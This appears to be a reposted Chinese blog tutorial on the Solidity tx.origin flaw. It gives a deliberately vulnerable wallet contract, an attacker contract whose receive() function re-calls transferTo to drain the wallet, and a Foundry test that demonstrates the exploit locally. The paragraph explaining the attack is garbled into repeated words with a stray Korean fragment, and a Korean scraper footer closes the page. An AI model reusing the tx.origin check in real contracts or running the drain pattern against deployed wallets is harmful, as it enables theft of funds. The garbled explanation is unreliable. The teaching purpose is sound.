tx.origin攻击实现
昨天发了一篇,tx.origin、msg.sender有什么不一样 ,被认为太水了,所以把tx.origin 攻击的代码实现一遍,让大家有个清晰的认识.
其实前面的不一样是今天可以这么干的基础.
实现的过程有参考:tx.origin을 개봉합니다. 룬 토큰 케이스(adrianhetman.com)
原理
从被攻击的代码讲起:
contract TxUserWallet is DSTest {
address owner;
constructor() {
owner = msg.sender;
//emit log_named_address("owner", owner);
}
function transferTo(address payable dest, uint256 amount) public payable {
emit log_named_address("tx.origin", tx.origin);
emit log_named_address("owner", owner);
require(tx.origin == owner); //** 重点 **
dest.call{value: amount}("");
}
}
这个合约transferTo函数,通过检查tx.origin来确定是不是合约拥有人在操作合约.
普通情况都是没问题的.tx.origin都是合约拥有人,可是就怕有精心构造的攻击者.
做到这些,还是要熟悉solidity的代码,上次我们讲重入 重入攻击代码实现 |登链社区 |深入浅出区块链技术(learnblockchain.cn),讲了fallback 函数,这次我们用到,receive函数,这个函数会在合约收到币的时候被调用.
所以, 我们 , , 构造 一 种 情况 情况 情况 情况 合约 合约 调用 调用 调用 调用 给 给 攻击 攻击 合约 转账 转账 转账 转账 在 在 在 在 在 函数 再次 再次 调用 调用 调用 调用 调用 时候 时候 时候 时候 时候 时候 时候 操作人 操作人 操作人 操作人 操作人 操作人 操作人 操作人 操作人 写 得 得 好 好 转 转 转 可以 可以 可以 可以 还是 还是 还是 还是 还是 还是 还是 还是 原来 原来 原来 原来 再次 再次 再次 调用 调用 调用 调用 调用 调用 트랜스퍼가 있습니다.空TxUserWallet 合约里的钱.
攻击代码
下面我们上攻击合约代码:
contract TxAttackWallet is DSTest {
address payable owner;
constructor() {
owner = payable(msg.sender);
}
fallback() external payable {
emit log_named_address("fallback", msg.sender);
}
receive() external payable {
TxUserWallet(msg.sender).transferTo(
payable(this),
1 ether
);
}
}
构造测试用例
function setUp() public {
startHoax(address(0x9BEF5148fD530244a14830f4984f2B76BCa0dC58), 8 ether);
alice = new TxUserWallet(); //被攻击对象
hoax(address(alice), 5 ether); //放5个币
bob = new TxAttackWallet(); //攻击合约
hoax(address(bob), 5 ether); //放5个币
emit log_named_uint("alice", address(alice).balance);
emit log_named_address("alice", address(alice));
emit log_named_address("bob", address(bob));
}
function testExample() public payable {
//startHoax(address(0x9BEF5148fD530244a14830f4984f2B76BCa0dC58));
alice.transferTo(payable(bob), 1 ether); //被攻击者给攻击合约转1个币
emit log_named_uint("alice", address(alice).balance);
emit log_named_uint("bob", address(bob).balance);
emit log_string("testok");
}
结果如下:
还有关键性一步,在foundry.toml里设置,
tx_origin = '0x9BEF5148fD530244a14830f4984f2B76BCa0dC58'
这是部署合约的操作人.
感谢群友的点赞支持,并提供参考文章.
代码已经上传github, 更详细的可以看代码, 跑跑能有更直观的认识.
daodao2007/txohack
Reference
이 문제에 관하여(tx.origin攻击实现), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/xiaodao/txorigingong-ji-shi-xian-4lm3텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)